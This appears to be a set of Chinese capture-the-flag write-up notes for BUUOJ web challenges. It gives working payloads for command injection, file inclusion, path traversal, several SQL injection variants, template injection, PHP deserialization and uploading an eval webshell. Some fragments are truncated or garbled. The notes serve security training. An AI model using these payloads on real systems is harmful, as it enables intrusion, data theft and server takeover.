更多笔记,可以关注yym68686.top
http://node3.buuoj.cn:27957/Secret.php
用Burp Suite请求
GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:27957
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36 Edg/88.0.705.50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
响应提示
It doesn't come from 'https://www.Sycsecret.com'
修改请求为
GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:27957
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36 Edg/88.0.705.50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Referer:https://www.Sycsecret.com
响应提示
Please use "Syclover" browser
修改请求:
GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:27957
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Syclover
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Referer:https://www.Sycsecret.com
响应提示:
No!!! you can only read this locally!!!
修改请求:
GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:27957
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Syclover
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Referer:https://www.Sycsecret.com
X-Forwarded-For:127.0.0.1
发送后获得flag。
先输入
127.0.0.1;ls -al;
返回正常,在输入
127.0.0.1;cd /;ls -al
发现flag文件
在输入
127.0.0.1;cd /;cat flag
得到flag
用Burp Suite请求,发现隐藏文件Archive_room.php,修改请求访问Archive_room.php,又发现隐藏文件action.php,修改请求,访问action.php,响应为
用浏览器访问secr3t.php,获得php代码
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
访问flag.php,发现没有flag,仔细检查php代码,发现文件包含漏洞,没有过滤filter,可以用php://fileter来获取文件,修改请求:
http://66d4702a-63f9-449e-93e3-13a01091a1a2.node3.buuoj.cn/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
得到base64编码,解密获得flag
打开网站是一个笑脸,按F12
发现source.php
文件。
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Documenttitle>
head>
<body>
<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" />body>
html>
打开source.php
,输入url:
http://fc492498-397a-4fee-8bcd-678271197de5.node3.buuoj.cn/source.php
发现php源码:
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page) //检查file的值是否合法
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//白名单,只有source.php和hint.php合法
if (! isset($page) || !is_string($page)) {
// file的值不能为空,并且file的值必须为字符串
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
//判断file的值是否在白名单里面
return true;
}
$_page = mb_substr(//分割字符串,带有mb_前缀的substr函数可以截取非字母字符串
$page,
0,
mb_strpos($page . '?', '?')//在page里面找第一个问号所在的位置
);//substr函数就是查找page字符串,从第一个字符截取到第一个问号的字符串
if (in_array($_page, $whitelist)) {
return true;
}//再判断_page是否在白名单里面
$_page = urldecode($page);//对page进行解码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);//再次截取字符串
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])//满足三个条件就可以执行if
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
发现白名单里面还有hint.php
,访问hint.php
:
flag not here, and flag in ffffllllaaaagggg
说明flag在ffffllllaaaagggg
里面。
我们要创建的url应是下列形式:
http://fc492498-397a-4fee-8bcd-678271197de5.node3.buuoj.cn/source.php?file=...
输入后把file的值送给page
变量,因为page
可能有我们要找的flag的值,所以checkFile
函数里面的第一次判断白名单肯定不在白名单里面,不能返回true
,所以我们可以利用第二次判断白名单的if
,在判断之前先要对page
分割,从page
开始截取到第一个问号,再判断是否在白名单里面,所以我们的page
开头应该是source.php?...
或hint.php?...
,省略号后面就是我们要找的flag路径。
todo那问号怎么办?
但我们并不知道flag在哪里,所以我们要一个个尝试,首先构造:
http://fc492498-397a-4fee-8bcd-678271197de5.node3.buuoj.cn/source.php?file=source.php?/ffffllllaaaagggg
发现不行
http://fc492498-397a-4fee-8bcd-678271197de5.node3.buuoj.cn/source.php?file=source.php?/../ffffllllaaaagggg
最后
http://fc492498-397a-4fee-8bcd-678271197de5.node3.buuoj.cn/source.php?file=source.php?/../../../../../ffffllllaaaagggg
得到flag
https://blog.csdn.net/weixin_44348894/article/details/105255603
一般数据库查询语句为:
select * from table_name where username='xxxx' and password='xxxxxx';
进入网站发现要输入用户名与密码
用户名输入
1' or 1=1 #
那么查询语句就会变成
select * from table_name where username='1' or 1=1 #' and password='xxxxxx' ;
虽然username='1'
查询不到,但1=1恒成立,密码随便填。所以得到flag。
然后是官方的Payload:
admin/admin'||'1
url
http://67dd65a1-3417-47c4-81b0-2efdfe296eb4.node3.buuoj.cn/check.php?username=admin/admin'||'1&password=admin/admin'||'1
https://blog.csdn.net/TM_1024/article/details/106156448
进入网站就一个输入框。
输入
1' 报错
1'# 正常且为True
所以存在注入,并且参数使用单引号闭合。
首先获得列数
1' order by 1#
1' order by 2#
1' order by 3# 报错
所以列数为两列。
先查询数据库
1' union select 1,database()#
报错:
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
发现利用正则匹配过滤了关键字:select
,update
,drop
,delete
,insert
,where
,因此不能使用select
。
网站源码 todo源码怎么来的?
<html>
<head>
<meta charset="UTF-8">
<title>easy_sql</title>
</head>
<body>
<h1>取材于某次真实环境渗透,只说一句话:开发和安全缺一不可</h1>
<!-- sqlmap是没有灵魂的 -->
<form method="get">
姿势: <input type="text" name="inject" value="1">
<input type="submit">
</form>
<pre>
function waf1($inject) {
preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}
function waf2($inject) {
strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}
if(isset($_GET['inject'])) {
$id = $_GET['inject'];
waf1($id);
waf2($id);
$mysqli = new mysqli("127.0.0.1","root","root","supersqli");
//多条sql语句
$sql = "select * from `words` where id = '$id';";
$res = $mysqli->multi_query($sql);
if ($res){
//使用multi_query()执行一条或多条sql语句
do{
if ($rs = $mysqli->store_result()){
//store_result()方法获取第一条sql语句查询结果
while ($row = $rs->fetch_row()){
var_dump($row);
echo "
";
}
$rs->Close(); //关闭结果集
if ($mysqli->more_results()){
//判断是否还有更多结果集
echo "
";
}
}
}while($mysqli->next_result()); //next_result()方法获取下一结果集,返回bool值
} else {
echo "error ".$mysqli->errno." : ".$mysqli->error;
}
$mysqli->close(); //关闭数据库连接
}
?>
</pre>
</body>
</html>
发现multi_query()
函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。因此支持堆叠查询。
查询表名:
-1';show tables#
网站显示
array(1) {
[0]=>
string(16) "1919810931114514"
}
array(1) {
[0]=>
string(5) "words"
}
查看1919810931114514
表的字段,注意添加反引号```。
-1';show columns from `1919810931114514`#
网站显示
array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
查看words
表的字段
-1';show columns from `words`#
网站显示
array(6) {
[0]=>
string(2) "id"
[1]=>
string(7) "int(10)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
array(6) {
[0]=>
string(4) "data"
[1]=>
string(11) "varchar(20)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
因此数据库下的表结构:
因为flag在1919810931114514
表中,那么源码查询的sql语句就为:
select flag from `1919810931114514`
但程序过滤了select
,我们不可以直接用。
我们可以使用预编译的方法来绕过select
查询
预编译的语法:
set 用于设置变量名和值
prepare 用于预备一个语句,并赋予名称,以后可以引用该语句
execute 执行语句
deallocate prepare 用来释放掉预处理的语句
所以我们构造:
set @sql=concat('selec','t flag from `1919810931114514`');
prepare presql from @sql;
execute presql;
deallocate prepare presql;
或者
set @sql=concat('selec','t * from `1919810931114514`');
prepare presql from @sql;
execute presql;
deallocate prepare presql;
连成一行,输入
-1';set @sql=concat('selec','t flag from `1919810931114514`'); prepare presql from @sql; execute presql; deallocate prepare presql;
网页显示
strstr($inject, "set") && strstr($inject, "prepare");
过滤了set
和prepare
,但strstr
会区分大小写,所以我们可以通过大写绕过过滤。
修改输入:
-1';Set @sql=concat('selec','t flag from `1919810931114514`'); Prepare presql from @sql; execute presql; deallocate prepare presql;
得到flag
源代码里面sql查询语句为:
select * from words where id='$id';
这句话意思是在表words
里查询名为id的字段的内容,而字段flag在表1919810931114514
里面,所以我们只要把1919810931114514
名字改成words
,words
改成其他任意名字,flag
改为id
,就可以实现自动查询。
我们可以构造下列语句:
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);#
连成一行就是:
1';alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
在网页输入这一行后,在输入:
1' or '1=1
得到flag
https://zhuanlan.zhihu.com/p/78989602
https://foxgrin.github.io/posts/42551/
进入网站发现一只猫。F12
发现注释代码:
当cat=dog
时,输出flag,浏览器输入url
http://aa3367cb-d966-4689-a6f1-a7241f7e3303.node3.buuoj.cn/?cat=dog
得到url
查看数据库,最后分号不能少:
1;show databases;
网页显示:
Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test )
输入:
1;select database();
发现正常返回数据库
Array ( [0] => 1 ) Array ( [0] => ctf )
所以select没有被过滤。
查看数据库ctf中的表名:
1;use ctf;show tables;
网页显示:
Array ( [0] => 1 ) Array ( [0] => Flag )
我们可以使用预编译的方法来查询
预编译的语法:
set 用于设置变量名和值
prepare 用于预备一个语句,并赋予名称,以后可以引用该语句
execute 执行语句
deallocate prepare 用来释放掉预处理的语句
所以我们构造:
set @sql=concat('selec','t * from `Flag`');
prepare presql from @sql;
execute presql;
deallocate prepare presql;
排成一排
-1;Set @sql=concat('selec','t * from `Flag`'); Prepare presql from @sql; execute presql; deallocate prepare presql;
网页返回no,说明关键词被过滤。具体是prepare
。
网页源码里面的查询语句:
"select ".$post['query']."||flag from Flag"
我们可以叫系统把管道符号当成连接符,在网页里输入:
1;set sql_mode=pipes_as_concat;select 1
得到flag,显示:
Array ( [0] => 1 ) Array ( [0] => 1flag{14aa9272-a89a-467a-bc8a-91aaa881afba} )
系统里连起来的查询语句为:
select 1;set sql_mode=pipes_as_concat;select 1||flag from Flag
||
的作用就是把1和flag的具体内容连接起来显示。
输入
*,1
直接得到答案
todo这里如果改成*,2跟*,1有什么区别?
sql语句就变成了select *,1||flag from Flag
,等价于select *,1 from Flag
,直接查询出了Flag表中的所有内容。
todo这里为什么1||flag最后变成1而不是flag。
题目源码:
session_start();
include_once "config.php";
$post = array();
$get = array();
global $MysqlLink;
//GetPara();
$MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
if(!$MysqlLink){
die("Mysql Connect Error!");
}
$selectDB = mysqli_select_db($MysqlLink,$dataName);
if(!$selectDB){
die("Choose Database Error!");
}
foreach ($_POST as $k=>$v){
if(!empty($v)&&is_string($v)){
$post[$k] = trim(addslashes($v));
}
}
foreach ($_GET as $k=>$v){
}
}
//die();
?>
<html>
<head>
</head>
<body>
<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>
if(isset($post['query'])){
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
//var_dump(preg_match("/{$BlackList}/is",$post['query']));
if(preg_match("/{
$BlackList}/is",$post['query'])){
//echo $post['query'];
die("Nonono.");
}
if(strlen($post['query'])>40){
die("Too long.");
}
$sql = "select ".$post['query']."||flag from Flag";
mysqli_multi_query($MysqlLink,$sql);
do{
if($res = mysqli_store_result($MysqlLink)){
while($row = mysqli_fetch_row($res)){
print_r($row);
}
}
}while(@mysqli_next_result($MysqlLink));
}
?>
发现黑名单屏蔽了很多关键词。
https://blog.csdn.net/qq_43619533/article/details/103434935
https://github.com/TheKingOfDuck/fuzzDicts
http://www.xianxianlabs.com/blog/2020/05/27/355.html
https://blog.csdn.net/qq_43619533/article/details/103434935
https://www.shuzhiduo.com/A/n2d9yqoQdD/
进入网站发现tips
,点击后发现
Can you find out the flag?
查看url为:
http://15491a3b-7f3c-4367-bafa-36cc97c750c0.node3.buuoj.cn/?file=flag.php
猜想flag在flag.php
里面。
想到伪协议php://filter
,该伪协议读取源代码并进行base64编码输出,输入url:
http://15491a3b-7f3c-4367-bafa-36cc97c750c0.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/resource=flag.php
网页显示:
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7YjUyNzcyODUtNDE3Yy00NjVmLWJjZTAtZWNlNTQzNGE1YWY2fQo=
base64解码:
echo "Can you find out the flag?";
//flag{b5277285-417c-465f-bce0-ece5434a5af6}
得到flag
https://blog.csdn.net/kuller_Yan/article/details/106592442
base64解码:
https://gchq.github.io/CyberChef/#recipe=From_Base64(‘A-Za-z0-9%2B/%3D’,true)&input=UEQ5d2FIQUtaV05vYnlBaVEyRnVJSGx2ZFNCbWFXNWtJRzkxZENCMGFHVWdabXhoWno4aU93b3ZMMlpzWVdkN1lqVXlOemN5T0RVdE5ERTNZeTAwTmpWbUxXSmpaVEF0WldObE5UUXpOR0UxWVdZMmZRbz0
打开网页,发现登录页面。
先用万能登录钥匙。
输入用户名:
admin' or '1'='1
密码随便填。
网页回显:
Login Success!
Hello admin!
Your password is 'abe1a437b5b956f4db70211b8fcc27e1'
获得用户名,然后判断列数,输入:
admin' order by 3#
没报错。
再输入:
admin' order by 4#
报错,说明有3列,即三个字段。
使用union
查询回显点位:
1' union select 1,2,3#
网页回显:
Hello 2!
Your password is '3'
说明回显点位为2和3,查询当前数据库名及版本:
1' union select 1,database(),version()#
网页回显:
Hello geek!
Your password is '10.3.18-MariaDB'
查询数据库geek
里面的表名:
1' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema='geek' #
网页回显:
Hello 2!
Your password is 'geekuser,l0ve1ysq1'
查询数据库geek
中表l0ve1ysq1
中所有字段名称
1' union select 1, 2, group_concat(column_name) from information_schema.columns where table_schema='geek' and table_name='l0ve1ysq1' #
网页回显:
Hello 2!
Your password is 'id,username,password'
查询数据库geek
中表l0ve1ysq1
中password
字段的值
1' union select 1, 2, group_concat(password) from geek.l0ve1ysq1 #
网页回显:
Hello 2!
Your password is 'wo_tai_nan_le,glzjin_wants_a_girlfriend,biao_ge_dddd_hm,linux_chuang_shi_ren,a_rua_rain,yan_shi_fu_de_mao_bo_he,cl4y,di_2_kuai_fu_ji,di_3_kuai_fu_ji,di_4_kuai_fu_ji,di_5_kuai_fu_ji,di_6_kuai_fu_ji,di_7_kuai_fu_ji,di_8_kuai_fu_ji,Syc_san_da_hacker,flag{0975daee-9f30-4038-b53d-3c2e8c590cbc}'
得到flag。
https://blog.csdn.net/weixin_44037296/article/details/105084538
首先进入网页,提示:
/?ip=
利用127.0.0.1;ls -al
查看当前目录所有文件
输入url:
http://54ab22f2-2887-4f25-9af1-92b34dbffd13.node3.buuoj.cn/?ip=127.0.0.1;ls -al
网页显示:
/?ip= fxck your space!
说明过滤了空格,这里空格用$IFS$9
代替。
输入url:
http://54ab22f2-2887-4f25-9af1-92b34dbffd13.node3.buuoj.cn/?ip=127.0.0.1;ls$IFS$9-al
网页显示:
/?ip=
total 8
drwxr-xr-x 1 www-data www-data 39 Mar 10 13:11 .
drwxr-xr-x 1 root root 18 Feb 15 2019 ..
-rwxr-xr-x 1 www-data www-data 66 Mar 10 13:11 flag.php
-rwxr-xr-x 1 www-data www-data 574 Dec 25 2019 index.php
发现flag文件,输入:
http://54ab22f2-2887-4f25-9af1-92b34dbffd13.node3.buuoj.cn/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
按F12
/?ip=
<pre>PING 127.0.0.1 (127.0.0.1): 56 data bytes
$flag = "flag{ce6fa573-9e91-4124-be54-f53c05397f51}";
?>
得到flag
https://www.cnblogs.com/wangtanzhi/p/12246386.html
命令注入
进入网页,提示:
我家菜刀丢了,你能帮我找一下么
eval($_POST["Syc"]);
Syclover @ cl4y
说明连接密码是Syc。
利用中国蚁剑空白区域右击添加数据,设置如下:
URL地址 http://942c3635-ef55-4623-91f7-b4e046830bff.node3.buuoj.cn/
连接密码 Syc
网站备注
编码设置 UTF8
连接类型 PHP
其他不变。密码可以随便设置,但要跟$_POST[“Syc”]一致。
连接后查看网站文件,在根目录发现flag。
Web-文件上传
进入网站显示三个文件链接:
/flag.txt
/welcome.txt
/hints.txt
点开/flag.php
文件链接:
/flag.txt
flag in /fllllllllllllag
点开/welcome.txt
:
/welcome.txt
render
render
是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 render
配合Tornado
使用。
Tornado
是一种Web服务器软件的开源版本。Tornado
和现在的主流Web服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。
点开/hint.txt
:
/hints.txt
md5(cookie_secret+md5(filename))
此时url为:
http://b61e1495-36e5-47e7-b09a-34a3a649d67b.node3.buuoj.cn/file?filename=/hints.txt&filehash=74c408ee3fa20381ac36f46012932dc9
可见filehash
后面的参数是md5(cookie_secret+md5(filename))
生成的。
在tornado
模板中,存在一些可以访问的快速对象,这里用到的是handler.settings
,handler
指向RequestHandler
,而RequestHandler.settings
又指向self.application.settings
,所以handler.settings
就指向RequestHandler.application.settings
了,这里面就是我们的一些环境变量。
构造url:
http://b61e1495-36e5-47e7-b09a-34a3a649d67b.node3.buuoj.cn/error?msg={
{handler.settings}}
网页显示:
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'e39980a5-729d-40b0-9b61-e7225dc5b1d0'}
利用python脚本生成filehash
:
import hashlib
hash = hashlib.md5()
filename = '/fllllllllllllag'
cookie_secret = "e39980a5-729d-40b0-9b61-e7225dc5b1d0"
hash.update(filename.encode('utf-8'))
s1 = hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())
运行后输出:
d3136a4cc1a1d466c4f89ba75c10fb50
拼接url:
http://b61e1495-36e5-47e7-b09a-34a3a649d67b.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=d3136a4cc1a1d466c4f89ba75c10fb50
得到flag:
/fllllllllllllag
flag{be1999aa-0f7d-42d2-8b9b-20bb79b86066}
https://www.cnblogs.com/xhds/p/12285121.html
https://www.tornadoweb.org/en/latest/guide/templates.html#template-syntax
进入网页,发现计算框,输入数学表达式1+1
之类的都可以算,按F12
,发现请求地址:
解析calc.php?num=encodeURIComponent($("#content").val())
中$("#content").val()
的意思:
获取id
为content
的HTML标签元素的值,是JQuery
。
$("#content")
相当于document.getElementById("content");
$("#content").val()
相当于document.getElementById("content").value;
请求地址为calc.php
,输入url:
http://node3.buuoj.cn:28695/calc.php
获得calc.php
源代码:
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
在calc.php
里面发现waf
规则。绕过waf
,首先了解要php的解析规则,当php进行解析的时候,如果变量前面有空格,会去掉前面的空格再解析,那么我们就可以利用这个特点绕过waf
。num
被限制了,那么' num'
就不会被限制,在num
前面加了空格,if
判断就进不去了,进入了else
,所以就绕过了waf
,因为waf只是限制了num
,waf
并没有限制' num'
,当php解析的时候,又会把' num'
前面的空格去掉再解析,这样有变成了num
但这个时候没有任何限制。所以我们这个时候就可以任意传递非法字符了。eval('echo '.$str.';');
是执行我们命令的地方。
PHP将查询字符串(在URL或正文中)转换为内部$_GET
或的关联数组$_POST
。例如:/?foo=bar
变成Array([foo] => "bar")
。
查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如:/?%20news[id%00=42
会转换为Array([news_id] => 42)
。如果一个IDS/IPS
或WAF
中有一条规则是当news_id
参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:
/news.php?%20news[id%00=42"+AND+1=0--
上述PHP语句的参数%20news[id%00
的值将存储到$_GET["news_id"]
中。
HP
需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
例如:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-96qjml0Q-1616761620627)(https://s3-us-west-2.amazonaws.com/secure.notion-static.com/fcda8bfa-c4fe-4d8f-939e-83b5b0532f6d/1567560438_5d6f12f680afe.jpg)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WhOI0qM5-1616761620628)(https://s3-us-west-2.amazonaws.com/secure.notion-static.com/f3a4edef-01ec-4b47-b4fa-3cbd608bbed8/1567560448_5d6f13004035f.jpg)]
查看根目录文件,输入url:
http://node3.buuoj.cn:28695/calc.php? num=var_dump(scandir(chr(47)))
chr(47)
是/
的Ascii码,因为/
被过滤了。
网页显示:
array(24) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(5) "f1agg" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(8) "start.sh" [20]=> string(3) "sys" [21]=> string(3) "tmp" [22]=> string(3) "usr" [23]=> string(3) "var" }
发现flagg
文件,将/flagg
转化为ASCII码,获取flagg
内容,输入:
http://node3.buuoj.cn:28695/calc.php? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
获得flag。
函数会把扫描的目录值,写成数组,返回
函数用于输出变量的相关信息。
https://www.freebuf.com/articles/web/213359.html
https://blog.csdn.net/qq_42967398/article/details/103512717
https://my.oschina.net/u/4410118/blog/3344782
https://blog.csdn.net/weixin_44077544/article/details/102630714
https://www.cnblogs.com/chrysanthemum/p/11757363.html
https://www.cnblogs.com/h3zh1/p/12621909.html
进入网站提示:
因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯
不愧是我!!!
用dirsearch
扫描网页,输入命令:
python dirsearch.py -u http://6d647a0e-76d1-4a02-bb1b-5678cc5abe93.node3.buuoj.cn/ -e * -x 429 -w db/mylist.txt
发现www.zip
文件,下载后查看index.php
源码:
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
加载了一个class.php
文件,然后采用get
传递一个select
参数,随后将之反序列化,打开class.php
:
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "NO!!!hacker!!!";
echo "You name is: ";
echo $this->username;echo "";
echo "You password is: ";
echo $this->password;echo "";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "hello my friend~~sorry i can't give you the flag!";
die();
}
}
}
?>
在执行__destruct()
的时候,如果password=100
,username=admin
,可以获得flag,构造序列化:
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
var_dump(serialize($a));
?>
得到的序列化为:
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
Name
旁边有两个不可显示字符没有显示出来。在反序列化的时候会首先执行__wakeup()
魔术方法,但是这个方法会把我们的username
重新赋值,所以我们要考虑的就是怎么跳过__wakeup()
,而去执行__destruct
,跳过__wakeup()
:在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()
函数的执行:
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
删掉不可见字符,private
声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上0
的前缀。字符串长度也包括所加前缀的长度,改造一下序列化:
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
输入url:
/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
得到flag。
References
https://segmentfault.com/a/1190000022534926
新建php文件,上传。
@eval($_POST["password"]);?>
网页提示:必须是图片
所以新建1.php.jpg
文件,写入:
@eval($_POST["password"]);?>
上传,网页提示,文件包含。
NO! HACKER! your file included ''
查阅资料,发现一句话木马,文件头表示一幅图片。
GIF89a
新建1.phtml
文件,填入一句话木马,上传。
附常见的php后缀:
php2, php3, php4, php5, phps, pht, phtm, phtml
References:
https://blog.csdn.net/rfrder/article/details/109225258
用burp
拦截:
POST /upload_file.php HTTP/1.1
Host: cf39a324-4c5a-42d0-a020-7a01ad739e8a.node3.buuoj.cn
Content-Length: 357
Cache-Control: max-age=0
Origin: http://cf39a324-4c5a-42d0-a020-7a01ad739e8a.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBByTX7Iv10xXTIlV
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36 Edg/89.0.774.50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://cf39a324-4c5a-42d0-a020-7a01ad739e8a.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6
Connection: close
------WebKitFormBoundaryBByTX7Iv10xXTIlV
Content-Disposition: form-data; name="file"; filename="1.phtml"
Content-Type: application/octet-stream
GIF89a
------WebKitFormBoundaryBByTX7Iv10xXTIlV
Content-Disposition: form-data; name="submit"
æ交
------WebKitFormBoundaryBByTX7Iv10xXTIlV--
修改文件类型为:
POST /upload_file.php HTTP/1.1
Host: cf39a324-4c5a-42d0-a020-7a01ad739e8a.node3.buuoj.cn
Content-Length: 357
Cache-Control: max-age=0
Origin: http://cf39a324-4c5a-42d0-a020-7a01ad739e8a.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBByTX7Iv10xXTIlV
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36 Edg/89.0.774.50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://cf39a324-4c5a-42d0-a020-7a01ad739e8a.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6
Connection: close
------WebKitFormBoundaryBByTX7Iv10xXTIlV
Content-Disposition: form-data; name="file"; filename="1.phtml"
Content-Type: image/jpeg
GIF89a
------WebKitFormBoundaryBByTX7Iv10xXTIlV
Content-Disposition: form-data; name="submit"
æ交
------WebKitFormBoundaryBByTX7Iv10xXTIlV--
这样上传就会成功。
猜测上传路径为
upload/1.phtml
利用蚁剑空白区域右击添加数据,设置如下:
